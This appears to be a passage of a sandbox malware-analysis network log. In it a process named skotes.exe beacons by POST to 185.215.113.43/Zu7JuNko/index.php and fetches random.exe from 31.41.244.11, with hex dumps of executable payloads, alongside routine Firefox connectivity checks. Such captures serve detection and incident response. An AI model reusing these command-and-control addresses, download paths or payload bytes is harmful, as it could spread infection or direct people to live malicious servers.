06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^L@M7@Vjl <@.rsrclL@.idata T@ V@ufjajmph02X@qiltxfdsL@.taggant0L"@
Dec 18, 2024 17:09:15.275501013 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:15.275516033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:15.275959015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:15.275985956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:15.276937008 CET	672	IN	Data Raw: f0 27 4a f8 f7 72 43 17 7c 5a f9 f2 cf c0 93 2f 6d 8c 43 c6 60 e9 c7 f7 01 13 db f2 e5 cc 0d 18 a2 16 a4 a7 aa 97 c9 f5 3f 92 14 14 8b 47 fa 5f 32 ca 0b e3 5c 69 8f 17 cd b7 6e 51 70 b0 fa 6a 65 ee c5 f9 bc 23 f5 c3 b7 df 73 58 dd 76 05 db ba 4f Data Ascii: 'JrC\|Z/mC`?G_2\inQpje#sXvO6KFD\SNrsSk\|%D;0->0>j^_cX;`P(OG+t#-+S;)`jG?]_4j@q]3
Dec 18, 2024 17:09:15.276953936 CET	1236	IN	Data Raw: 2b 7a 43 79 6e d2 14 a9 3c bf 0e 59 7c 59 05 02 d1 ff cb 4b 8b 31 e6 b6 ad c6 fe e9 89 41 f3 e7 4a e5 74 b6 47 c0 0c c0 64 88 a1 b9 29 75 7f 73 ca d9 1c fc 0b 70 59 5b 93 44 f7 ef f8 a2 a3 29 34 80 6b bd 70 be ab b7 ef 22 a4 5d 01 e4 2b f7 53 03 Data Ascii: +zCyn<Y\|YK1AJtGd)uspY[D)4kp"]+SsZ.+fA<Fa)jMmd}^[Kyq\|eGfP)X/)Rh6':UG7(aIUl`1Y9miTAd"
Dec 18, 2024 17:09:15.277354956 CET	1236	IN	Data Raw: 7c 7d f3 17 06 e5 18 e1 48 9a 6d 73 7c 68 89 c3 2c 0a 94 8c 5d 25 e4 8a cd 94 2d c9 b7 b0 36 6a f5 0b 0c fb b3 47 f4 c9 63 4c 14 f9 bb ca 85 5d a1 be 6b 01 8c 69 e6 e6 7b c6 70 3f 0a 06 f4 9a 7d e5 ed 19 5e 36 bb 65 84 88 b0 b5 10 f7 7f 73 e3 3b Data Ascii: \|}Hms\|h,]%-6jGcL]ki{p?}^6es;skD;NoECvrSvjsC](+9~.mp\|fb^5Wv@goJ/aGM+z:Y<aX/}Kiy#?UGn(3H}ffl{,\*
Dec 18, 2024 17:09:15.277371883 CET	1236	IN	Data Raw: 3c 3d 73 58 15 88 05 04 93 03 52 4b c2 5d e6 9b 5c c9 8d 10 89 70 43 c3 e9 df 99 f7 53 ff 83 61 2f 89 a9 19 7e 49 f3 aa 73 59 eb 25 85 4c e6 81 87 c6 70 f8 bc 66 f3 5b 92 e5 69 bf 4a 66 7e ad 62 d8 46 04 2b 31 b0 7e c3 8c a2 48 34 35 4c 39 20 b0 Data Ascii: <=sXRK]\pCSa/~IsY%Lpf[iJf~bF+1~H45L9 j'm8X4Ue@DP;Ie0C7SSrAusRYD;"se`W;DD:c3Gt\]M6ijhg7j&d
Dec 18, 2024 17:09:15.278136015 CET	1236	IN	Data Raw: e3 08 9a c8 0b ad 26 df 9d 44 fb 21 a9 3d 88 3b fe 4e d1 b9 d0 c0 3e 3a 06 ad 43 8d 6d 04 b0 f7 53 f6 6f ed 76 88 81 88 bf 53 7f 6e 73 05 68 ed 0c 85 6f bd da af 27 81 5d 0a 5e 7f af f7 13 21 6c 39 25 1c 86 91 07 a6 04 20 f7 9b dc b7 3c bd 40 cc Data Ascii: &D!=;N>:CmSovSnsho']^!l9% <@?ccMV28Hp(=!lwodxcJ_R#ln]+ C mJgXmrZ+y;CXpm%(o~X$Js;HDW[
Dec 18, 2024 17:09:15.546915054 CET	1236	IN	Data Raw: 76 30 cd a8 35 e5 3e 8b 52 41 f6 ed 9b 45 f3 58 4a f6 05 1d f8 b4 4d 4b 04 be e6 01 96 c6 8a 15 ac fb f3 a1 2b e5 d1 86 4a 67 da 34 6d d8 57 3a 2b 11 84 79 49 ef 52 1a 3c a2 9b 58 37 93 05 eb 53 41 f5 4b 8c 11 e7 e8 7d c6 a7 bf ef cb f3 ed b2 e5 Data Ascii: v05>RAEXJMK+Jg4mW:+yIR<X7SAK}J`o%c-t^-x?'H[z'%]zJj{2c$.Z)IH"E%*1PUUDsP}XIK+ys<bY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49960	34.107.221.82	80	3412	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:19.616054058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:20.713963985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 10:15:34 GMT Age: 21226 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49966	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:21.396962881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016971001&unit=246122658369
Dec 18, 2024 17:09:22.734571934 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49972	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:22.861383915 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:09:24.188956022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:23 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 17:09:24.189227104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:09:24.189237118 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 17:09:24.190012932 CET	672	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 17:09:24.190021992 CET	1236	IN	Data Raw: 00 00 00 00 c7 04 24 00 00 00 00 ff 34 24 ff 74 24 08 e8 34 fd ff ff 83 c4 08 8b 4c 24 28 31 e1 e8 90 11 00 00 b0 01 83 c4 2c 5e 5f 5b 5d c3 e8 1b 00 00 00 e8 1e 9c 00 00 c7 05 70 64 42 00 00 00 00 00 c3 c7 05 74 64 42 00 00 00 00 00 c3 68 2d 03 Data Ascii: $4$t$4L$(1,^_[]pdBtdBh-BfD$s#PH#A@@B$AhLABPBVD$(A1VVQPG$A^VD$(A1VVQP
Dec 18, 2024 17:09:24.190037966 CET	224	IN	Data Raw: 11 46 04 c7 46 0c 00 00 00 00 6a 20 e8 5c 0c 00 00 83 c4 04 89 c7 89 06 c7 46 10 15 00 00 00 c7 46 14 1f 00 00 00 0f 10 05 f4 c1 41 00 0f 11 00 f2 0f 10 05 01 c2 41 00 f2 0f 11 40 0d 83 c7 15 e9 8f 00 00 00 50 e8 00 14 00 00 83 c4 04 89 c3 0f 57 Data Ascii: FFj \FFAA@PWWFP7xxw~FWSVYI$CCrPP~^Wt$PY^_[]
Dec 18, 2024 17:09:24.190773010 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 18, 2024 17:09:24.190781116 CET	224	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1
Dec 18, 2024 17:09:24.191188097 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 18, 2024 17:09:24.191196918 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 18, 2024 17:09:24.314644098 CET	1236	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49995	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:28.404264927 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:29.490639925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22491 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 17:09:29.513196945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:29.827686071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22491 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50009	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:28.996090889 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016972001&unit=246122658369
Dec 18, 2024 17:09:30.363198996 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50010	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:29.776061058 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50014	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:29.950607061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:31.038469076 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21571 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:31.069472075 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:31.387919903 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21572 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:31.441982031 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:31.810178041 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21572 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:32.084836960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:32.399918079 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21573 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:32.915555954 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:33.233437061 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21574 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:36.505990028 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 17:09:36.837069988 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 18 Dec 2024 10:09:59 GMT Age: 21577 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 17:09:46.875694036 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50015	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:29.974539995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:31.062192917 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22492 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 17:09:31.124052048 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:31.438651085 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22493 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 17:09:31.701987028 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 17:09:32.082381010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 09:54:38 GMT Age: 22493 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
